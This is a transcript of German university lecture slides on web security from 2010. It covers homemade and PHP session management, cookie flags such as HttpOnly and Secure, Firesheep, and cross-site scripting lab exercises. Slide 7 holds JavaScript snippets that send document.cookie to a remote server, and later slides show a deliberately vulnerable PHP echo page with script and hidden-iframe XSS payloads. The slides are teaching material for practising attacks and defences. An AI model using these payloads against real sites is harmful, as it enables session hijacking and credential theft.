IT-Sicherheit. Sicherheit von Webanwendungen 10. Dezember 2010

Transkript

1 IT-Sicherheit Sicherheit von Webanwendungen 10. Dezember 2010 Prof. Dr. Matthew Smith Hergen Harnisch M.Smith/H.Harnisch, LÜ IT-Sicherheit, 10. Dezember 2010 Seite 1/19

2 1 Session-Management 2 XSS M.Smith/H.Harnisch, LÜ IT-Sicherheit, 10. Dezember 2010 Seite 2/19

3 Aufgabe Implementieren Sie eine Login-Seite und eine Sitzungsverfolgung: Session soll serverseitig in der Datenbank gespeichert werden. clientseitig soll ein Get-Request oder Hidden-Feld verwendet werden. bisherige oder andere Beispielseiten sollen nur nach erfolgtem Login unter Nennung des Nutzernamens angezeigt werden. unauthentifizierter Seitenabruf soll auf Login-Seite umlenken. (einfach, händisch, nicht unter Verwendung von PHP-Sessionsupport) Welche (Sicherheits-) Probleme treten bei diesem Ansatz auf? Knacken Sie das Session-Management Ihres Nachbarn. M.Smith/H.Harnisch, LÜ IT-Sicherheit, 10. Dezember 2010 Seite 4/19

4 Hausaufgabe 1 Führen Sie die Aufgabe auf der vorigen Seite zuende. 2 Überlegen Sie sich die Unsicherheiten Ihrer Implementation und deren Ausnutzbarkeit. (Eine Härtung Ihrer Lösung ist nicht erforderlich.) 3 Nutzen Sie statt Ihrer Eigenentwicklung das in PHP eingebaute Sessionmanagement. (Webseiten unter neuem Namen, damit Ihre Entwicklung erhalten bleibt. Nutzen Sie PHP-Sessions nicht mit Datenbank-Speicherung sondern wie voreingestellt über Dateien.) M.Smith/H.Harnisch, LÜ IT-Sicherheit, 10. Dezember 2010 Seite 5/19

5 Probleme zu einfache Session-ID ratbar Zufallszahlen, evt. Zeit/IP als Salt, Hashes (MD5,SHA) Session aus Cache fortsetzbar, auch später durch Andere Timeout einer Session ist nötig Back-Knopf im Browser: Reihenfolge der Seitenaufrufe unklar ggf. jedesmal Neugenerierung der ID Session problemlos von anderem Browser & Rechner nutzbar Browser-Typ und IP-Adresse 1 prüfen? Session-ID durch Javascript lesbar (vgl. später XSS) Session-ID steht in URL, also auch im Referrer auf Folge-Site unbedingt nach Logout Session nicht in URL und löschen Mitführung der Session-ID in GET-Variable aufwändig Cookie wäre leichter 1 nur max. erste drei Bytes wegen Proxies M.Smith/H.Harnisch, LÜ IT-Sicherheit, 10. Dezember 2010 Seite 6/19

6 PHP-Sessions Implementieren Sie die Session in Ihren Seiten mittels PHP-Session auf der Basis von Cookies (ruhig ohne Datenbank-Speicherung). Welche Sicherheitseinstellungen sind möglich? Lesen Sie die BSI-Studie Webanwendungen: M170 M220 websec/index_htm.html M.Smith/H.Harnisch, LÜ IT-Sicherheit, 10. Dezember 2010 Seite 7/19

7 Aufgabe (Vorbereitung XSS) Setzen Sie in den Session-Cookies nicht HttpOnly und nutzen Sie JavaScript, um die Session-ID zunächst clientseitig anzuzeigen alert(document.cookie); später per Webabruf an einen Server (z.b. srv24) zu übermitteln z.b. mit Layern top.load( +document.cookie); oder var xmlhttp=new XMLHttpRequest(); xmlhttp.open( GET, +document.cookie); oder document.write( <img src=" +document.cookie+ "> ); M.Smith/H.Harnisch, LÜ IT-Sicherheit, 10. Dezember 2010 Seite 8/19

8 Sessions über Cookie wohl der beste Weg der Sessionverfolgung Hinweis oder Alternative, falls Cookies abgeschaltet? Cookie an URL binden, andere dürfen nicht auslesen ( Domain ) Cookie an Verschlüsselung (https, Secure ) binden Cookie nur duch Server und nicht Skripte auslesen lassen ( HttpOnly, funktioniert nur bei neueren Browsern, Verhinderung XSS) Session-Timeout auch im Cookie setzen ( Expires ) Cookie als Session-Cookie ( Discard, löschen beim Browser-Schließen) (Cookie-Parameter vgl. beachte: Daten zur Session serverseitig speichern, nicht im Cookie M.Smith/H.Harnisch, LÜ IT-Sicherheit, 10. Dezember 2010 Seite 9/19

9 Aufgabe Untersuchen Sie z.b. mit Hilfe von curl die Session-Cookies von Stud.IP und dem Identitätsmanagement der LUH. Was sollte und was kann man verbessern? abrufen mit z.b. curl -k -c studip-cookie.txt Gegenüber 2008 hat Stud.IP inzwischen HttpOnly, nicht aber SSL-only (Stud.IP benötigt leider noch http-zugriff). M.Smith/H.Harnisch, LÜ IT-Sicherheit, 10. Dezember 2010 Seite 10/19

10 Browserseitige Vorkehrungen Browser schließen nach Nutzung (u.a. Logout bei HTTP-Authentifizierung) Konfiguration: Cookies nur für die Dauer der Sitzung speichern (Beendigung cookie-basierter Sessions) Löschen des Caches (Beendigung GET/URL-kodierter Sessions) Firefox-Plugin NoScript Eine Version setzte https-cookies automatisch auf https-only ( secure ), danach war Login z.b. bei ebay nicht möglich. Manchmal soll Login verschlüsselt sein, bei den Daten ist es aber eigentlich nicht nötig. M.Smith/H.Harnisch, LÜ IT-Sicherheit, 10. Dezember 2010 Seite 11/19

11 http/https-mixed site Firefox-Plugin Firesheep Zeigt Problem der Session-Übernahme bei http-zugriff, auch bei verschlüsseltem Login: Mithören nicht des Logins sondern des Session-Cookies bei nachfolgenden, session-authentifizierten unverschlüsselten Zugriffen. Plugin bekannt geworden für Facebook, aber auch andere Sites wie Ebay, Amazon betroffen. Grund für Betrieb von mixed-sites ist Performance/CPU-Last und z.t. auch Zertifikatshandling (evt. nur ein Knoten für Login). aus Sicherheitssicht (je nach Anforderung) nicht mehr haltbar (Performance bald keine Ausrede mehr, vgl. Intel AES-NI) M.Smith/H.Harnisch, LÜ IT-Sicherheit, 10. Dezember 2010 Seite 12/19

12 Fazit Sessions eigentlich sind Sessions in http nicht vorgesehen daher: Session-Implementierung ist eher Stückwerk / Workaround es gibt nicht die perfekte Session-Implementierung! nutzen Sie fertige Pakete, aber nicht ungefragt (ändern Sie z.b. den Namespace : in PHP session_name) häufig: Sicherheit vs. Nutzbarkeit/Browseranforderung Problematik verschärft durch XSS M.Smith/H.Harnisch, LÜ IT-Sicherheit, 10. Dezember 2010 Seite 13/19

13 XSS Idee Einschleusen von Javascript-Code oder ActiveX-Code durch einen Angreifer in eine vertraute Webseite. Problem Nutzer vertraut Webseite, die in seinem Browser aber zusätzliche, bösartige Skripte enthält, die z.b. Daten aus Formularfeldern aufzeichnen, Cookies mit Zugangsdaten auslesen / Session-Übernahme, in der Vertrauenszone Vertrauenswürdige Zone laufen, Netzzugriffe aktivieren (Scan des LANs), Zugriffsrechte des Clients nutzen (im Intranet), Client als Angreifer nutzen. M.Smith/H.Harnisch, LÜ IT-Sicherheit, 10. Dezember 2010 Seite 16/19

14 XSS (simples) Beispiel Webseite in PHP <html><body> <base href=" Hallo <?php echo $_GET["name"]?>! </body></html> gutartige URL noch nette URL name=<script>alert( Buh! )</script> M.Smith/H.Harnisch, LÜ IT-Sicherheit, 10. Dezember 2010 Seite 17/19

15 XSS IFRAME-Beispiel (Webseite wie oben) böse URL <iframe%20src=" height="0"%20width="0"%20frameborder="0"></iframe> noch nette IFrame-Seite <html><body> <base href=" <script>alert( Buh! )</script> </body></html> M.Smith/H.Harnisch, LÜ IT-Sicherheit, 10. Dezember 2010 Seite 18/19

16 XSS Aufgabe 1 Schreiben Sie eine Seite, die einen per GET übergebenen Wert darstellt (z.b. Ihre alte Personensuch-Seite). Übergeben Sie Werte mit HTML- und Javascript-Code: Zeigen Sie eine alert-meldung an Verändern Sie die Darstellung der Seite, gaukeln Sie z.b. in Ihrer Suchseite falsche Ergebnisse vor. 2 Versuchen Sie XSS-Attacken auf Ihre Login-Seite. machen Sie ein Login unmöglich übermitteln Sie die Login-Daten an Ihren Server 3 Warum ist eine Abfrage von _POST besser als _REQUEST? M.Smith/H.Harnisch, LÜ IT-Sicherheit, 10. Dezember 2010 Seite 19/19